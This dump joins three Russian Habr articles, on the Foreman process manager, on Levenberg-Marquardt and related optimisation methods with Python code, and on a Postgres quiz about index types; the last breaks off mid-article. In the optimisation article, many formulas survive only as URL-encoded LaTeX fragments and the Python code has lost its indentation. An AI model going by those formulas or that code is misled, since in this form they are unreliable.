# Foreman — менеджер процессов для ваших веб-приложений
Все более популярной становится модель разработки веб-приложений, основанная на идее масштабирования с помощью процессов. Современное приложение представляет из себя набор выполняющихся процессов, не хранящих состояния, причем каждый изолирован друг от друга. Каждому такому процессу назначается свой локальный порт, что позволяет прозрачно экспортировать ваши сервисы для последующего их потребления кем-нибудь еще, возможно даже, что друг другом (например, один обслуживает http-запросы от пользователей, принимая url-адреса видео, а другой медленно, но верно, загружает их и конвертирует). Как правило, в большинстве случаев http-сервисы просто ставят за reverse proxy в nginx, но возможны варианты.
Не секрет, что у каждого разработчика есть свой арсенал инструментов, позволяющий ему так или иначе сделать свою жизнь проще. Сегодня мы поговорим о таком инструменте, как Foreman. Используя его, вы можете объявить в одном месте все процессы, которые необходимы для запуска вашего приложения. Для этого используется так называемый Procfile, который выглядит как-то так:
```
web: mono ./awesome-app --port $PORT
api: node ./api.js -p $PORT
worker: bundle exec rake resque:work QUEUE=*
habr: bundle exec ./bin/thin -a localhost -p $PORT
```
Как видите, все довольно просто, в каждой строчке файла содержится по названию типа процесса и строка для его запуска.
### ▌Установка и использование
Чтобы начать им пользоваться, достаточно его установить, воспользовавшись для этого вашим системным пакетным менеджером или с помощью rubygems:
```
$ gem install foreman
```
Если ваше приложение использует Foreman, то его запуск, при наличии готового Procfile, будет выглядеть довольно просто:
```
$ editor .env
$ foreman start
```
Вот как выглядит запуск всех процессов:
Foreman установит необходимые переменные окружения, запустит все процессы, ассоциированные с вашим приложением, а также отобразит вывод стандартных потоков (stdout и stderr) каждого. Как можно заметить, имена процессов раскрашиваются в различные цвета, что позволяет визуально их отличить. Значение переменной `$PORT` автоматически устанавливается Foreman отдельно для каждого запускаемого процесса.
Необходимо заметить, что ваши процессы не должны сами демонизироваться, потому как Foreman не сможет в таком случае управлять циклом их запуска-остановки.
### ▌Развертывание
Foreman может экспортировать ваши задания на запуск в [upstart](http://upstart.ubuntu.com/), а также в классический юниксовый [init](http://en.wikipedia.org/wiki/Init) (впрочем, так делать не рекомендуется), [bluepill](https://github.com/arya/bluepill), [runit](http://habrahabr.ru/post/83775/) и [supervisord](http://supervisord.org/). Поддержка [systemd](http://freedesktop.org/wiki/Software/systemd/) также [на подходе](https://github.com/ddollar/foreman/pull/294).
#### Экспорт в upstart
```
$ foreman export upstart /etc/init
[foreman export] writing: /etc/init/testapp.conf
[foreman export] writing: /etc/init/testapp-web.conf
[foreman export] writing: /etc/init/testapp-web-1.conf
[foreman export] writing: /etc/init/testapp-worker.conf
[foreman export] writing: /etc/init/testapp-worker-1.conf
[foreman export] writing: /etc/init/testapp-habr.conf
[foreman export] writing: /etc/init/testapp-habr-1.conf
```
После экспорта в upstart, становятся доступными следующие команды:
```
$ start testapp
$ stop testapp-habr
$ restart testapp-worker-1
```
#### Экспорт в inittab
```
$ foreman export inittab
# ----- foreman testapp processes -----
TE01:4:respawn:/bin/su - testapp -c 'PORT=5000 mono ./awesome-app --port $PORT >> /var/log/testapp/web-1.log 2>&1'
TE02:4:respawn:/bin/su - testapp -c 'PORT=5100 bundle exec rake resque:work QUEUE=* >> /var/log/testapp/worker-1.log 2>&1'
TE03:4:respawn:/bin/su - testapp -c 'PORT=5200 bundle exec ./bin/thin -a localhost -p $PORT >> /var/log/testapp/habr-1.log 2>&1'
# ----- end foreman testapp processes -----
```
### ▌Возможности
#### Параллелизм
Foreman позволяет контролировать число запускаемых экземпляров каждого типа процесса, что тоже перекликается с идеей масштабирования с помощью процессов. Кстати говоря, данный подход уже успел полюбиться пользователям [Heroku](https://devcenter.heroku.com/articles/procfile#scaling-a-process-type).
```
# запустить по одному экземпляру процесса «worker», четыре процесса «habr» и два «web»
$ foreman start -c habr=4 -c web=2
```
```
# то же самое, только не запускать, а экспортировать в upstart
$ foreman export upstart /etc/init -c habr=4 -c web=2
```
```
# не запускать процесс «worker»
$ foreman start -c worker=0
```
#### Переменные окружения
Существует подход, постепенно завоевывающий популярность у разработчиков, заключающийся в том, чтобы хранить конфигурацию приложения в переменных окружения. Foreman и здесь не остался в стороне и позволяет все упростить.
Для того, чтобы использовать эту возможность, в директории проекта необходимо создать файл `.env`, содержащий перечисление всех необходимых значений переменных окружения, например:
```
APP_ENV=production
DATABASE_URL=mysql://user:password@localhost/table
```
Хорошей практикой здесь будет создание и постановка на учет в систему контроля версий файла `sample.env`, который будет содержать пример конфигурации вашего приложения. Таким образом, для его развертывания в новом окружении, необходимо будет скопировать файл `sample.env` в `.env`, отредактировать его в соответствии с вашим окружением, после чего запустить Foreman.
Вы также можете попросить Foreman запустить процессы с переменными окружения из другого файла:
```
$ foreman start -e development.env
```
#### Назначение портов
По умолчанию Foreman назначает порты процессам, начиная с 5000, и делает это блоками в 100 штук на каждый тип процесса, причем в том порядке, в котором они перечислены в Procfile.
Скажем, для Procfile из примера выше, процесс web.1 получит 5000-ый порт, worker.1 — 5100-ый, а habr.1 — 5200-ый. Если вы запустите два процесса habr, то процессу habr.2 будет назначен порт с номером 5201.
Вы также можете выбрать стартовый порт вручную, например:
```
$ foreman start -p 7000
```
### ▌Заключение
Как видите, в использовании таких вот хороших практик нет абсолютно ничего сложного, а времени данная штука позволяет сэкономить достаточно, чтобы оказаться в арсенале продвинутого разработчика.
Для получения более подробной информации обо всех доступных возможностях, вы можете обратиться к [документации](http://ddollar.github.io/foreman/), а также на страницу [репозитория проекта](https://github.com/ddollar/foreman) на github. | https://habr.com/ru/post/176947/ | null | ru | null |
# Алгоритм Левенберга — Марквардта для нелинейного метода наименьших квадратов и его реализация на Python
Нахождение экстремума(минимума или максимума) [целевой функции](https://ru.wikipedia.org/wiki/%D0%A6%D0%B5%D0%BB%D0%B5%D0%B2%D0%B0%D1%8F_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F) является важной задачей в математике и её приложениях(в частности, в машинном обучении есть задача [curve-fitting](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%B1%D0%BB%D0%B8%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_%D0%BA%D1%80%D0%B8%D0%B2%D1%8B%D1%85)). Наверняка каждый слышал о [методе наискорейшего спуска](https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D0%B4%D0%B8%D0%B5%D0%BD%D1%82%D0%BD%D1%8B%D0%B5_%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D1%8B#.D0.9C.D0.B5.D1.82.D0.BE.D0.B4_.D0.BD.D0.B0.D0.B8.D1.81.D0.BA.D0.BE.D1.80.D0.B5.D0.B9.D1.88.D0.B5.D0.B3.D0.BE_.D1.81.D0.BF.D1.83.D1.81.D0.BA.D0.B0_.28.D0.BC.D0.B5.D1.82.D0.BE.D0.B4_.D0.B3.D1.80.D0.B0.D0.B4.D0.B8.D0.B5.D0.BD.D1.82.D0.B0.29) (МНС) и [методе Ньютона](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%9D%D1%8C%D1%8E%D1%82%D0%BE%D0%BD%D0%B0) (МН). К сожалению, эти методы имеют ряд существенных недостатков, в частности — метод наискорейшего спуска может очень долго сходиться в конце оптимизации, а метод Ньютона требует вычисления вторых производных, для чего требуется очень много вычислений.
Для устранения недостатков, как это часто бывает, нужно глубже погрузиться в предметную область и добавить ограничения на входные данные. В частности: МНС и МН имеют дело с произвольными функциями. В статистике и машинном обучении часто приходится иметь дело с [методом наименьших квадратов](https://basegroup.ru/community/glossary/lsm) (МНК). Этот метод минимизирует сумму квадрата ошибок, т.е. целевая функция представляется в виде
%5E2%20%3D%20%5Cfrac%7B1%7D%7B2%7D%5Csum%20%5Climits_%7Bi%3D1%7D%5E%7BN%7Dr_i%5E2%20%5Ctag%7B1%7D%0A)
[Алгоритм Левенберга — Марквардта](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%9B%D0%B5%D0%B2%D0%B5%D0%BD%D0%B1%D0%B5%D1%80%D0%B3%D0%B0_%E2%80%94_%D0%9C%D0%B0%D1%80%D0%BA%D0%B2%D0%B0%D1%80%D0%B4%D1%82%D0%B0) является нелинейным методом наименьших квадратов. Статья содержит:
* объяснение алгоритма
* объяснение методов: наискорейшего спуска, Ньтона, Гаусса-Ньютона
* приведена реализация на Python с [исходниками на github](https://github.com/lightforever/Levenberg_Manquardt)
* сравнение методов
В коде использованы дополнительные библиотеки, такие как **numpy, matplotlib**. Если у вас их нет — очень рекомендую установить их из пакета [Anaconda for Python](https://www.continuum.io/downloads)
**Зависимости**
Алгоритм Левенберга — Марквардта опирается на методы, приведённые в блок-схеме
Поэтому, сначала, необходимо изучить их. Этим и займёмся
**Определения**
* ) — наша целевая функция. Мы будем минимизировать . В этом случае,  является [функцией потерь](https://basegroup.ru/community/glossary/error-function)
* ) — градиент функции  в точке 
*  — , при котором ) является локальным минимумом, т.е. если существует проколотая окрестность ), такая что %5C%20%5C%20%5C%20F(x%5E*)%5Cle%20F(x))
*  — глобальный минимум, если %5Cle%20F(x)), т.е.  не имеет значений меньших, чем )
* %20%3D%20J) — [матрица Якоби](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%82%D1%80%D0%B8%D1%86%D0%B0_%D0%AF%D0%BA%D0%BE%D0%B1%D0%B8) для функции  в точке . Т.е. это таблица всех частных производных первого порядка. По сути, это аналог градиента для , так как в этом случае мы имеем дело с отображением из -мерного вектора в -мерный, поэтому нельзя просто посчитать первые производные по одному измерению, как это происходит в градиенте. [Подробнее](http://math.stackexchange.com/questions/1519367/difference-between-gradient-and-jacobian)
* %20%3D%20H) — [матрица Гессе](https://ru.wikipedia.org/wiki/%D0%93%D0%B5%D1%81%D1%81%D0%B8%D0%B0%D0%BD_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8#.D0.9C.D0.B0.D1.82.D1.80.D0.B8.D1.86.D0.B0_.D0.93.D0.B5.D1.81.D1.81.D0.B5) (матрица вторых производных). Необходима для квадратичной аппроксимации
**Выбор функции**
В математической оптимизации есть функции, на которых тестируются новые методы.
Одна из таких функция — [Функция Розенброка](https://en.wikipedia.org/wiki/Rosenbrock_function). В случае функции двух переменных она определяется как
%20%3D%20(a-x)%5E2%20%2B%20b(y-x%5E2)%5E2%0A)
Я принял . Т.е. функция имеет вид:
%20%3D%20%5Cfrac%7B1%7D%7B2%7D(1-x)%5E2%20%2B%20%5Cfrac%7B1%7D%7B2%7D(y-x%5E2)%5E2%0A)
Будем рассматривать поведение функции на интервале 
Эта функция определена неотрицательно, имеет минимум )
В коде проще инкапсулировать все данные о функции в один класс и брать класс той функции, которая потребуется. Результат зависит от начальной точки оптимизации. Выберем её как ). Как видно из графика, в этой точке функция принимает наибольшее значение на интервале.
***[functions.py](http://functions.py)***
```
class Rosenbrock:
initialPoint = (-2, -2)
camera = (41, 75)
interval = [(-2, 2), (-2, 2)]
"""
Целевая функция
"""
@staticmethod
def function(x):
return 0.5*(1-x[0])**2 + 0.5*(x[1]-x[0]**2)**2
"""
Для нелинейного МНК - возвращает вектор-функцию r
"""
@staticmethod
def function_array(x):
return np.array([1 - x[0] , x[1] - x[0] ** 2]).reshape((2,1))
@staticmethod
def gradient(x):
return np.array([-(1-x[0]) - (x[1]-x[0]**2)*2*x[0], (x[1] - x[0]**2)])
@staticmethod
def hesse(x):
return np.array(((1 -2*x[1] + 6*x[0]**2, -2*x[0]), (-2 * x[0], 1)))
@staticmethod
def jacobi(x):
return np.array([ [-1, 0], [-2*x[0], 1]])
"""
Векторизация для отрисовки поверхности
Детали: http://www.mathworks.com/help/matlab/matlab_prog/vectorization.html
"""
@staticmethod
def getZMeshGrid(X, Y):
return 0.5*(1-X)**2 + 0.5*(Y - X**2)**2
```
**Метод наискорейшего спуска(Steepest Descent)**
Сам метод крайне прост. Принимаем %3Df(x)), т.е. целевая функция совпадает с заданной.
Нужно найти ) — направление наискорейшего спуска функции  в точке .
) может быть линейно аппроксимирована в точке :
%20%5Capprox%20f(x)%20%2B%20%5Cnabla%20f(x)%5ETd%2C%20%5C%20d%20%5Cin%20R%5En%20%2C%20%7C%7Cd%7C%7C%20%5Cto%200%20%5Ctag%7B2%7D)
-f(x%2Bd)%20%3D%20-%20%5Cnabla%20f(x)%5ETd%20%20%5Cstackrel%7B(3.a)%7D%20%3D%20-%20%7C%7C%20%5Cnabla%20f(x)%5ET%7C%7C%20%5C%20%7C%7Cd%7C%7C%20cos%20%5Ctheta%20%2C%5Ctag%7B3%7D)
где  — угол между вектором %5ET). %20) следует из [скалярного произведения](https://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B0%D0%BB%D1%8F%D1%80%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5)
Так как мы минимизируем ), то чем больше разница в ), тем лучше. При  выражение будет максимально( , норма вектора всегда неотрицательна), а  будет только если вектора %5ET%20%20) будут противоположны, поэтому
%5ET)
Направление у нас верное, но делая шаг длиной  можно уйти не туда. Делаем шаг меньше:
%5ET%2C%20%200%20%3C%20%5Calpha%20%3C%201)
Теоретически, чем меньше шаг, тем лучше. Но тогда пострадает скорость сходимости. Рекомендуемое значение 
В коде это выглядит так: сначала базовый класс-оптимизатор. Передаём всё, что понадобится в дальнейшем( матрицы Гессе, Якоби, сейчас не нужны, но понадобятся для других методов)
```
class Optimizer:
def __init__(self, function, initialPoint, gradient=None, jacobi=None, hesse=None,
interval=None, epsilon=1e-7, function_array=None, metaclass=ABCMeta):
self.function_array = function_array
self.epsilon = epsilon
self.interval = interval
self.function = function
self.gradient = gradient
self.hesse = hesse
self.jacobi = jacobi
self.name = self.__class__.__name__.replace('Optimizer', '')
self.x = initialPoint
self.y = self.function(initialPoint)
"Возвращает следующую координату по ходу оптимизационного процесса"
@abstractmethod
def next_point(self):
pass
"""
Движемся к следующей точке
"""
def move_next(self, nextX):
nextY = self.function(nextX)
self.y = nextY
self.x = nextX
return self.x, self.y
```
Код самого оптимизатора:
```
class SteepestDescentOptimizer(Optimizer):
...
def next_point(self):
nextX = self.x - self.learningRate * self.gradient(self.x)
return self.move_next(nextX)
```
Результат оптимизации:
| Итерация | X | Y | Z |
| --- | --- | --- | --- |
| 25 | 0.383 | -0.409 | 0.334 |
| 75 | 0.693 | 0.32 | 0.058 |
| 532 | 0.996 | 0.990 | 10^{-6} |
Бросается в глаза: как быстро шла оптимизация в 0-25 итерациях, в 25-75 уже медленне, а в конце потребовалось 457 итераций, чтобы приблизиться к нулю вплотную. Такое поведение очень свойственно для МНС: очень хорошая скорость сходимости вначале, плохая в конце.
**Метод Ньютона**
Сам [Метод Ньютона](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%9D%D1%8C%D1%8E%D1%82%D0%BE%D0%BD%D0%B0) ищет корень уравнения, т.е. такой , что %3D0). Это не совсем то, что нам нужно, т.к. функция может иметь экстремум не обязательно в нуле.
А есть ещё [Метод Ньютона для оптимизации](https://en.wikipedia.org/wiki/Newton%27s_method_in_optimization). Когда говорят о МН в контексте оптимизации — имеют в виду его. Я сам, учась в институте, спутал по глупости эти методы и не мог понять фразу «Метод Ньютона имеет недостаток — необходимость считать вторые производные».
Рассмотрим для %3A%20R%20%5Cto%20R)
Принимаем %3Df(x)), т.е. целевая функция совпадает с заданной.
Разлагаем ) в ряд Тейлора, только в отличии от МНС нам нужно квадратичное приближение:
%20%5Capprox%20f(x)%20%2B%20f%5E%7B'%7D(x)d%20%2B%20%5Cfrac%7B1%7D%7B2%7D%20f%5E%7B''%7D(x)d%5E2%2C%20%5C%20d%20%5Cin%20R%5En%20%2C%20%7C%7Cd%7C%7C%20%5Cto%200%20%5Ctag%7B4%7D)
Несложно показать, что если %20%5Cne%200), то функция не может иметь экстремум в . Точка %20%3D%200) называется **стационарной**.
Продифференцируем обе части по . Наша цель, чтобы %5E%7B'%7D%3D0), поэтому решаем уравнение:
%5E%7B'%7D%20%3D%20f%5E%7B'%7D(x)%20%2B%20f%5E%7B''%7D(x)d%20%20%5C%5C%0Ad_%7B%D0%BD%7D%3D-%20%5Cfrac%7Bf%5E%7B'%7D(x)%7D%7Bf%5E%7B''%7D(x)%7D%0A)
 — это направление экстремума, но оно может быть как максимумом, так и минимумом. Чтобы узнать — является ли точка  минимумом — нужно проанализировать вторую производную. Если %3E0%24%2C%20%D1%82%D0%BE%20%24f(x%2Bd_%D0%BD)) является локальным минимумом, если %3C0) — максимумом.
В многомерном случае первая производная заменяется на градиент, вторая — на матрицу Гессе. Делить матрицы нельзя, вместо этого умножают на обратную(соблюдая сторону, т.к. коммутативность отсутствует):
%3A%20R%5En%20%5Cto%20R%20%5C%5C%0AH(x)d_%7B%D0%BD%7D%3D-%20%5Cnabla%20f(x)%5C%5C%0Ad_%7B%D0%BD%7D%3D-%20H%5E%7B-1%7D(x)%5Cnabla%20f(x)%0A)
Аналогично одномерному случаю — нужно проверить, правильно ли мы идём? Если матрица Гессе [положительно определена](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BB%D0%BE%D0%B6%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE_%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D1%91%D0%BD%D0%BD%D0%B0%D1%8F_%D0%BC%D0%B0%D1%82%D1%80%D0%B8%D1%86%D0%B0), значит направление верное, иначе используем МНС.
В коде:
```
def is_pos_def(x):
return np.all(np.linalg.eigvals(x) > 0)
class NewtonOptimizer(Optimizer):
def next_point(self):
hesse = self.hesse(self.x)
# if Hessian matrix if positive - Ok, otherwise we are going in wrong direction, changing to gradient descent
if is_pos_def(hesse):
hesseInverse = np.linalg.inv(hesse)
nextX = self.x - self.learningRate * np.dot(hesseInverse, self.gradient(self.x))
else:
nextX = self.x - self.learningRate * self.gradient(self.x)
return self.move_next(nextX)
```
Результат:
| Итерация | X | Y | Z |
| --- | --- | --- | --- |
| 25 | -1.49 | 0.63 | 4.36 |
| 75 | 0.31 | -0.04 | 0.244 |
| 179 | 0.995 | -0.991 | 10^{-6} |
Сравните с МНС. Там был очень сильный спуск до 25 итерации( практически упали с горы), но потом сходимость сильно замедлилась. В МН, напротив, мы сначала медленно спускаемся с горы, но затем движемся быстрее. У МНС ушло с 25 по 532 итерацию, чтобы дойти до нуля с . МН же оптимизировал  за 154 последних итераций.
Это частое поведение: МН обладает квадратичной скоростью сходимости, если начинать с точки, близкой к локальному экстремуму. МНС же хорошо работает далеко от экстремума.
МН использует информацию кривизны, что было видно на рисунке выше(плавный спуск с горки).
Ещё пример, демонстрирующий эту идею: на рисунке ниже красный вектор — это направление МНС, а зелёный — МН
**[Нелинейный vs линейный] метод наименьших квадратов**
В МНК у нас есть модель ), имеющая  параметров, которые настраиваются так, чтобы минимизировать
%5E2%20%3D%20%5Cfrac%7B1%7D%7B2%7D%5Csum%20%5Climits_%7Bi%3D1%7D%5E%7BN%7Dr_i%5E2)
, где  — -е наблюдение.
В [линейном МНК](https://en.wikipedia.org/wiki/Linear_least_squares_%28mathematics%29) у нас есть $m$ уравнений, каждое из которых мы можем представить как [линейное уравнение](https://ru.wikipedia.org/wiki/%D0%9B%D0%B8%D0%BD%D0%B5%D0%B9%D0%BD%D0%BE%D0%B5_%D1%83%D1%80%D0%B0%D0%B2%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5)
Для линейного МНК решение единственно. Существуют мощные методы, такие как [QR декомпозиция](https://en.wikipedia.org/wiki/QR_decomposition), [SVD декомпозиция](https://en.wikipedia.org/wiki/Singular_value_decomposition), способные найти решение для линейного МНК за 1 **приближённое** решение матричного уравнения .
В [нелинейном МНК](https://en.wikipedia.org/wiki/Non-linear_least_squares) параметр  может сам быть представлен функцией, например . Так же, может быть произведение параметров, например
и т.д.
Здесь же приходится находить решение итеративно, причём решение зависит от выбора начальной точки.
Методы ниже имеют дело как раз с нелинейным случаем. Но, сперва, рассмотрим нелиненый МНК в контексте нашей задачи — минимизации функции
%20%3D%20f(x_1%2Cx_2)%20%3D%20%5Cfrac%7B1%7D%7B2%7D(1-x_1)%5E2%20%2B%20%5Cfrac%7B1%7D%7B2%7D(x_2-x_1%5E2)%5E2%20%3D%20%20%5Cfrac%7B1%7D%7B2%7Dr_1%5E2(x_1%2Cx_2)%20%2B%20%5Cfrac%7B1%7D%7B2%7Dr_2%5E2(x_1%2Cx_2)%20%0A)
Ничего не напоминает? Это как раз форма МНК! Введём вектор-функцию 
![r: R^2 \to R^2 \\
r= \left [ \begin{matrix} 1-x_1 \\ x_2-x_1^2 \end{matrix} \right ]](https://tex.s2cms.ru/svg/%0Ar%3A%20R%5E2%20%5Cto%20R%5E2%20%5C%5C%0Ar%3D%20%5Cleft%20%5B%20%5Cbegin%7Bmatrix%7D%201-x_1%20%5C%5C%20x_2-x_1%5E2%20%5Cend%7Bmatrix%7D%20%5Cright%20%5D%0A)
и будем подбирать  так, чтобы решить систему уравнений(хотя бы приближённо):
Тогда нам нужна мера — насколько хороша наша аппроксимация. Вот она:
%20%3D%20%5Cfrac%7B1%7D%7B2%7D%5Csum_i%5Em%20r_i%5E2(x)%20%3D%20%20%5Cfrac%7B1%7D%7B2%7D%20r%5ET%20r%3D%20%20%20%5Cfrac%7B1%7D%7B2%7D%20%7C%7Cr%7C%7C%5E2%20%5Ctag%7B5%7D%0A)
Я применил обратную операцию: подстроил вектор-функцию  под целевую . Но можно и наоборот: если дана вектор-функция , строим ) из (5). Например:
![r= \left [ \begin{matrix} x_1^2 \\ x_2^2 \end{matrix} \right ], F(x) = \frac{1}{2} x_1^2 + \frac{1}{2} x_2^2](https://tex.s2cms.ru/svg/%0Ar%3D%20%5Cleft%20%5B%20%5Cbegin%7Bmatrix%7D%20x_1%5E2%20%5C%5C%20x_2%5E2%20%5Cend%7Bmatrix%7D%20%5Cright%20%5D%2C%20F(x)%20%3D%20%5Cfrac%7B1%7D%7B2%7D%20x_1%5E2%20%2B%20%20%5Cfrac%7B1%7D%7B2%7D%20x_2%5E2%0A)
Напоследок, один очень важдный момент. Должно выполняться условие , иначе методом пользоваться нельзя. В нашем случае условие выполняется
**Метод Гаусса-Ньютона**
Метод основан на всё той же линейной аппроксимации, только теперь имеем дело с двумя функциями:
%20%5Capprox%20l(d)%20%5Cequiv%20r(x)%20%2B%20J(x)d%20%5C%5C%0AF(x%2Bd)%20%20%5Capprox%20L(d)%20%5Cequiv%20%5Cfrac%7B1%7D%7B2%7Dl%5ET(d)%20l(d)%0A)
Далее делаем то же, что и в методе Ньютона — решаем уравнение(только для )):
Несложно показать, что вблизи ):
%20%3D%20J_r%5ET%20J_r%2C%20%5C%20L%5E%7B'%7D(d)%20%3D%20J_r%5ET(d)%20r(d)%20%20%5C%5C%0A(J%5ET%20J)d_%7B%D0%B3%D0%BD%7D%20%3D%20-J%5ETr%20%5C%5C%0Ad_%7B%D0%B3%D0%BD%7D%20%3D%20-(J%5ET%20J)%5E%7B-1%7D%20J%5ETr%0A)
Код оптимизатора:
```
class NewtonGaussOptimizer(Optimizer):
def next_point(self):
# Solve (J_t * J)d_ng = -J*f
jacobi = self.jacobi(self.x)
jacobisLeft = np.dot(jacobi.T, jacobi)
jacobiLeftInverse = np.linalg.inv(jacobisLeft)
jjj = np.dot(jacobiLeftInverse, jacobi.T) # (J_t * J)^-1 * J_t
nextX = self.x - self.learningRate * np.dot(jjj, self.function_array(self.x)).reshape((-1))
return self.move_next(nextX)
```
Результат превысил мои ожидания. Всего за 3 итерации мы пришли в точку ). Чтобы продемонстрировать траекторию движения я уменьшил ***learningrate*** до 0.2
**Алгоритм Левенберга — Марквардта**
Он основан на одной из версий Методе Гаусса-Ньютона( "**damped version**" ):
d_%7B%D0%BB%D0%BC%7D%20%3D%20-J%5ETr%20%2C%20%5Cmu%20%5Cge%200%0A)
 называется **параметром регулизации**. Иногда  заменяют на ) для улучшения сходимости.
Диагональные элементы  будут положительны, т.к. элемент  матрицы  является скалярным произведением вектора-строки  в  на самого себя.
Для больших  получается метод наискорейшего спуска, для маленьких — метод Ньютона.
Сам алгоритм в процессе оптимизации подбирает нужный  на основе **gain ratio**, определяющийся как:
%20-%20F(x_%7Bnew)%7D%7D%7BL(0)%20-%20L(d_%7B%D0%BB%D0%BC%7D)%7D%0A)
Если , то ) — хорошая аппроксимация для ), иначе — нужно увеличить .
Начальное значение  задаётся как , где  — элементы матрицы .
 рекомендовано назначать за . Критерием остановки является достижение глобального минимуму, т.е. %3Dg(x%5E*)%3D0)
В оптимизаторах я не реализовывал критерий остановки — за это отвечает пользователь. Мне нужно было только движение к следующей точке.
```
class LevenbergMarquardtOptimizer(Optimizer):
def __init__(self, function, initialPoint, gradient=None, jacobi=None, hessian=None,
interval=None, function_array=None, learningRate=1):
self.learningRate = learningRate
functionNew = lambda x: np.array([function(x)])
super().__init__(functionNew, initialPoint, gradient, jacobi, hessian, interval, function_array=function_array)
self.v = 2
self.alpha = 1e-3
self.m = self.alpha * np.max(self.getA(jacobi(initialPoint)))
def getA(self, jacobi):
return np.dot(jacobi.T, jacobi)
def getF(self, d):
function = self.function_array(d)
return 0.5 * np.dot(function.T, function)
def next_point(self):
if self.y==0: # finished. Y can't be less than zero
return self.x, self.y
jacobi = self.jacobi(self.x)
A = self.getA(jacobi)
g = np.dot(jacobi.T, self.function_array(self.x)).reshape((-1, 1))
leftPartInverse = np.linalg.inv(A + self.m * np.eye(A.shape[0], A.shape[1]))
d_lm = - np.dot(leftPartInverse, g) # moving direction
x_new = self.x + self.learningRate * d_lm.reshape((-1)) # line search
grain_numerator = (self.getF(self.x) - self.getF(x_new))
gain_divisor = 0.5* np.dot(d_lm.T, self.m*d_lm-g) + 1e-10
gain = grain_numerator / gain_divisor
if gain > 0: # it's a good function approximation.
self.move_next(x_new) # ok, step acceptable
self.m = self.m * max(1 / 3, 1 - (2 * gain - 1) ** 3)
self.v = 2
else:
self.m *= self.v
self.v *= 2
return self.x, self.y
```
Результат получился тоже хороший:
| Итерация | X | Y | Z |
| --- | --- | --- | --- |
| 0 | -2 | -2 | 22.5 |
| 4 | 0.999 | 0.998 | 10^{-7} |
| 11 | 1 | 1 | 0 |
При ***learningrate*** =0.2:
**Сравнение методов**
| Название метода | Целевая функция | Достоинства | Недостатки | Сходимость |
| --- | --- | --- | --- | --- |
| Метод наискорейший спуск | дифференцируемая | -широкий круг применения
-простая реализация
-низкая цена одной итерации | -глобальный минимум ищется хуже, чем в остальных методах
-низкая скорость сходимости вблизи экстремума | локальная |
| Метод Нютона | дважды дифференцируемая | -высокая скорость сходимости вблизи экстремума
-использует информацию о кривизне | -функция должны быть дважды дифференцируема
-вернёт ошибку, если матрица Гессе вырождена ( не имеет обратной)
-есть шанс уйти не туда, если находится далеко от экстремума | локальная |
| Метод Гаусса-Нютона | нелинейный МНК | -очень высокая скорость сходимости
-хорошо работает с задачей **curve-fitting** | -колонки матрицы J должны быть линейно-независимы
-налагает ограничения на вид целевой функции | локальная |
| Алгоритм Левенберга — Марквардта | нелинейный МНК | -наибольная устойчивость среди рассмотренных методов
-наибольшие шансы найти глобальный экстремум
-очень высокая скорость сходимости(адаптивная)
-хорошо работает с задачей **curve-fitting** | -колонки матрицы J должны быть линейно-независимы
-налагает ограничения на вид целевой функции
-сложность в реализации | локальная |
Несмотря на хорошие результаты в конкретном примере рассмотренные методы не гарантируют глобальную сходимость(найти которую — крайне трудная задача). Примером из немногих методов, позволяющих всё же достичь этого, является алгоритм [basin-hopping](http://docs.scipy.org/doc/scipy/reference/generated/scipy.optimize.basinhopping.html)
Совмещённый результат(специально понижена скорость последних двух методов):
**Исходники** [можно скачать с github](https://github.com/lightforever/Levenberg_Manquardt)
**Источники**
1. K. Madsen, H.B. Nielsen, O. Tingleff(2004): [Methods for non-linear least square](http://soe.rutgers.edu/~meer/GRAD561/ADD/nonlinadvanced.pdf)
2. Florent Brunet(2011): [Basics on Continuous Optimization](http://www.brnt.eu/phd/node10.html#equ:least-square)
3. [Least Squares Problems](http://www4.ncsu.edu/~mtchu/Teaching/Lectures/MA529/chapter4.pdf) | https://habr.com/ru/post/308626/ | null | ru | null |
# Разбор задач викторины Postgres Pro на Highload++ 2017
На Higload++ 2017 года в Сколково наша компания Postgres Professional снова провела викторину с традиционной раздачей ништяков, в качестве которых выступили билеты на февральский [PgConf.Russia 2018](https://pgconf.ru/).
В этой статье разбираются вопросы викторины.
### 1. Какой тип индексов позволяет эффективно выполнить запрос SELECT \* FROM users WHERE lower(name) = ’vasya’?
Функция lower в PostgreSQL приводит строку к нижнему регистру.
а) Частичные
б) Функциональные
в) Покрывающие
г) Вторичные
Многие догадались, что этот запрос помогает исполнять функциональный индекс по используемому в запросе выражению `lower(name)`:
```
CREATE INDEX ON users ( lower(name) );
```
Однако лишь один из победителей викторины заметил, что [частичный индекс](https://postgrespro.ru/docs/postgrespro/9.6/indexes-partial)
```
CREATE INDEX ON users ( somefield) WHERE lower(name) = ’vasya’ ;
```
где `somefield` — любое поле таблицы `users`, тоже окажется эффективен.
Для организации контекстно-независимых строк также можно использовать тип данных [citext](https://postgrespro.ru/docs/postgresql/10/citext).
### 2. Какого типа индексов из следующего списка НЕ существует?
а) Частичные
б) Вторичные
в) Закрывающие
г) Функциональные
Правильный ответ: закрывающих. Покрывающие индексы уже есть, а закрывающие пока еще ждут своего создателя. Им можете стать и Вы!
Покрывающим индексом для какого-то запроса называется индекс, содержащихся в котором данных достаточно для исполнения этого запроса.
